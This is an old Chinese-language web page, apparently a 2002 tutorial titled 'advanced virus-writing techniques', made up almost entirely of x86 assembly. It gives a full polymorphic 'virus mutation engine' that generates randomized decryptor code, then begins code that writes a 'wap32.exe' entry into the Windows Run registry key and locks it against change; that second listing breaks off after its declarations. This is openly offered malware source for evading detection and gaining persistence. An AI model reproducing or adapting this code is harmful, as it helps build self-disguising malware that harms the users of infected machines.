📄
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>New Page 1</title>
<meta name="Microsoft Theme" content="-4 011">
</head>
<body background="file:///C:/WINDOWS/TEMP/FrontPageTempDir/mstheme/-4/标4.jpg" bgcolor="#FFFFFF" text="#CCCCCC" link="#FFFFFF" vlink="#CCCCCC" alink="#FFFFFF">
<!--mstheme--><font face="宋体">
<p class="mtext"><!--textbegin--><font size="3" color="#FFFFFF"><b>
病毒的高级编写技巧
</b></font>
</p>
<p class="mtext"> Author: whg<br>
Email: whg@whitecell.org<br>
Homepage:http://www.whitecell.org <br>
Date: 2002-05-24<br>
<br>
<br>
<br>
1、超级病毒变形引擎<br>
<br>
此段代码会在DATA段内生成一个解密代码。 <br>
<br>
.586p <br>
.model flat,STDCALL <br>
extrn ExitProcess: proc <br>
VirusSize=100h <br>
.data <br>
<br>
DecodeMethod dd ? <br>
DeCode: <br>
pushad <br>
call Encode <br>
db 100h dup(11h) <br>
Encode: <br>
db 100h dup(0cch) <br>
RndReg0 dd 0 ;eax <br>
RndReg1 dd 0 ;ebx <br>
RndCode dd 0 ;Rnd Code <br>
RndMima dd 60932561 ;Rnd Password <br>
<br>
.code <br>
@@Start: <br>
mov eax,RndMima <br>
ror eax,7 <br>
mov RndCode,eax <br>
<br>
mov eax,RndCode <br>
mov ecx,eax <br>
and eax,011b <br>
mov RndReg0,eax <br>
xor ecx,RndMima <br>
and ecx,011b <br>
cmp eax,ecx <br>
jnz short ChooseRegOk <br>
inc ecx <br>
and ecx,011b <br>
ChooseRegOk: <br>
mov RndReg1,ecx <br>
<br>
<br>
mov edi,offset Encode <br>
<br>
ror RndCode,1 <br>
call GetBxCode,0,RndReg0,RndCode <br>
mov esi,eax <br>
ContFillStep0: <br>
cld <br>
lodsb <br>
stosb <br>
cmp al,0cch <br>
jnz ContFillStep0 <br>
dec edi <br>
<br>
ror RndCode,1 <br>
call GetBxCode,1,RndReg1,RndCode <br>
mov esi,eax <br>
ContFillStep1: <br>
cld <br>
lodsb <br>
stosb <br>
cmp al,0cch <br>
jnz ContFillStep1 <br>
dec edi <br>
<br>
mov ebx,edi ;//计算机Jmp指令用 <br>
<br>
ror RndCode,1 <br>
call GetBxCode,2,RndReg0,RndCode <br>
mov esi,eax <br>
ContFillStep2: <br>
cld <br>
lodsb <br>
stosb <br>
cmp al,0cch <br>
jnz ContFillStep2 <br>
dec edi <br>
<br>
mov eax,RndMima <br>
mov [edi-4],eax ;//填写随机密码 <br>
mov eax,RndCode <br>
and eax,01 <br>
mov DecodeMethod,eax ;//填写DeCode方法 <br>
<br>
ror RndCode,1 <br>
call GetBxCode,3,RndReg0,RndCode <br>
mov esi,eax <br>
ContFillStep3: <br>
cld <br>
lodsb <br>
stosb <br>
cmp al,0cch <br>
jnz ContFillStep3 <br>
dec edi <br>
<br>
ror RndCode,1 <br>
call GetBxCode,4,RndReg1,RndCode <br>
mov esi,eax <br>
ContFillStep4: <br>
cld <br>
lodsb <br>
stosb <br>
cmp al,0cch <br>
jnz ContFillStep4 <br>
dec edi <br>
<br>
ror RndCode,1 <br>
call GetBxCode,5,RndReg0,RndCode <br>
mov esi,eax <br>
ContFillStep5: <br>
cld <br>
lodsb <br>
stosb <br>
cmp al,0cch <br>
jnz ContFillStep5 <br>
dec edi <br>
<br>
mov al,0c3h <br>
mov [edi],al ;//填写Ret指令 <br>
<br>
sub ebx,edi <br>
mov [edi-1],bl ;//填写jmp指令 <br>
<br>
int 3; <br>
<br>
jmp DeCode <br>
ret <br>
GetBxCode proc uses ebx ecx edx esi edi,Step:dword,Reg:dword,Rnd:dword <br>
call GetBxCodeAddr <br>
Step0_Eax: <br>
mov eax,[esp] <br>
int 3; <br>
pop eax <br>
push eax <br>
int 3; <br>
Step0_Ebx: <br>
pop ebx <br>
push ebx <br>
int 3; <br>
push dword ptr[esp] <br>
pop ebx <br>
int 3; <br>
Step0_Ecx: <br>
mov ecx,[esp] <br>
int 3; <br>
pop ecx <br>
push ecx <br>
int 3; <br>
Step0_Edx: <br>
mov edx,[esp] <br>
int 3; <br>
mov edx,esp <br>
mov edx,[edx] <br>
int 3 <br>
<br>
Step1_Eax: <br>
mov eax,VirusSize <br>
int 3 <br>
sub eax,eax <br>
add ax,VirusSize+3081h <br>
sub ax,3081h <br>
int 3 <br>
Step1_Ebx: <br>
mov ebx,VirusSize <br>
int 3; <br>
xor ebx,ebx <br>
or bx,VirusSize <br>
int 3; <br>
Step1_Ecx: <br>
sub ecx,ecx <br>
xor ecx,(VirusSize xor 3181h) <br>
xor ecx,(3181h) <br>
int 3; <br>
mov ecx,0 <br>
and cx,VirusSize <br>
int 3 <br>
Step1_Edx: <br>
and edx,0 <br>
xor dx,(VirusSize-0281h) <br>
add dx,0281h <br>
int 3; <br>
xor edx,edx <br>
sub edx,(0181h-VirusSize) <br>
sub edx,-0181h <br>
int 3; <br>
<br>
Setp2_Eax: <br>
xor [eax],12345678h <br>
int 3 <br>
add [eax],12345678h <br>
int 3 <br>
Setp2_Ebx: <br>
xor [ebx],12345678h <br>
int 3; <br>
add [ebx],12345678h <br>
int 3; <br>
<br>
Setp2_Ecx: <br>
xor [ecx],12345678h <br>
int 3; <br>
add [ecx],12345678h <br>
int 3; <br>
Setp2_Edx: <br>
xor [edx],12345678h <br>
int 3; <br>
add [edx],12345678h <br>
int 3; <br>
Step3_Eax: <br>
add eax,4 <br>
int 3 <br>
inc eax <br>
inc eax <br>
inc eax <br>
inc eax <br>
int 3; <br>
Step3_Ebx: <br>
add ebx,5 <br>
dec ebx <br>
int 3 <br>
add ebx,2 <br>
add ebx,2 <br>
int 3; <br>
Step3_Ecx: <br>
sub ecx,-4 <br>
int 3 <br>
sub ecx,-5 <br>
dec ecx <br>
int 3; <br>
Step3_Edx: <br>
inc edx <br>
sub edx,-3 <br>
int 3 <br>
add edx,04 <br>
int 3; <br>
<br>
Step4_Eax: <br>
sub eax,4 <br>
int 3 <br>
dec eax <br>
dec eax <br>
dec eax <br>
sub eax,1 <br>
int 3; <br>
Step4_Ebx: <br>
dec ebx <br>
sub ebx,3 <br>
int 3; <br>
dec ebx <br>
dec ebx <br>
sub ebx,2 <br>
int 3; <br>
Step4_Ecx: <br>
add cx,123 <br>
sub cx,123+4 <br>
int 3 <br>
sub cx,-4 <br>
dec cx <br>
sub cx,7 <br>
int 3 <br>
Step4_Edx: <br>
sub dx,2 <br>
dec dx <br>
sub dx,1 <br>
int 3 <br>
inc edx <br>
sub dx,5 <br>
int 3; <br>
Step5_Eax: <br>
jnz $ <br>
int 3 <br>
ja $ <br>
int 3 <br>
Step5_Ebx: <br>
jg $ <br>
int 3 <br>
jnb $ <br>
int 3 <br>
Step5_Ecx: <br>
jnl $ <br>
int 3 <br>
jnz $ <br>
int 3 <br>
Step5_Edx: <br>
ja $ <br>
int 3 <br>
jg $ <br>
int 3 <br>
<br>
GetBxCodeAddr: <br>
pop esi <br>
mov al,0cch ;//指令分割符 <br>
mov ecx,Step <br>
shl ecx,1 <br>
shl ecx,1 <br>
add ecx,Reg ;//计算机得到的指令位置 <br>
shl ecx,1 <br>
and Rnd,01b <br>
add ecx,Rnd <br>
jcxz short GetBxCodeOver <br>
ContFindCode: <br>
push ecx <br>
ContFindCC: <br>
inc esi <br>
cmp [esi],al <br>
jnz ContFindCC <br>
pop ecx <br>
loop ContFindCode <br>
mov eax,esi <br>
inc eax <br>
ret <br>
GetBxCodeOver: <br>
mov eax,esi <br>
ret <br>
GetBxCode endp <br>
<br>
<br>
end @@Start <br>
<br>
<br>
2、Windows 9x/2000/xp 琐定注册表<br>
<br>
.586p <br>
.model flat,STDCALL <br>
.data <br>
<br>
HKeyStr db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 <br>
ValueName db 'wap32',0 <br>
PathName db 'wap32.exe',0 <br>
<br>
.code <br>
<br>
extrn RegOpenKeyA: proc <br>
extrn RegSetValueExA: proc <br>
extrn RegCloseKey: proc <br>
extrn ExitProcess: proc <br>
extrn RegNotifyChangeKeyValue: proc <br>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -